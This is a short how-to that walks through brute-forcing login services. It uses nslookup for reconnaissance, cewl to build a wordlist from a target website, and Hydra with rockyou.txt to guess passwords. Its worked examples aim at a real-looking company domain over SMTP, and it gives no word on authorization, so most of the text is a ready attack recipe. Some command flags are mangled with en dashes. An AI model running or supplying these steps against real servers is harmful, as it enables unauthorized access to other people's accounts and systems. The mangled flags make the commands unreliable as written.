To brute force SMTP, FTP, SSH, MySQL or other services you can use a simple tool located in Kali Linux, Hydra.
Locate email address / username and email server.
Command: nslookup <DOMAIN>
Example: nslookup bostondynamics.com.au
Generate a worlist using cewl or use rockyou.txt
Command: cewl –write customwordlist.txt –depth 5 –min_word_length 8 https://<domain> –verbose
Example: cewl –write customwordlist.txt –depth 5 –min_word_length 8 https://bostondynamics.com.au –verbose
Brute force attack on server using email address and wordlist for password
Command: hydra -l <USERNAME> -P <WORDLIST> <SERVICE>://<SERVER>
Example: hydra -l email@example.com -P rockyou.txt smtp://bostondynamics.com.au
For a precise and faster bruteforce use the cewl method to create a wordlist by scanning the site for keywords. You can then use the custom wordlist with hydra. Alternatively you can use rockyou.txt which is a default wordlist with Kali Linux with more than 14 million possible password combinations.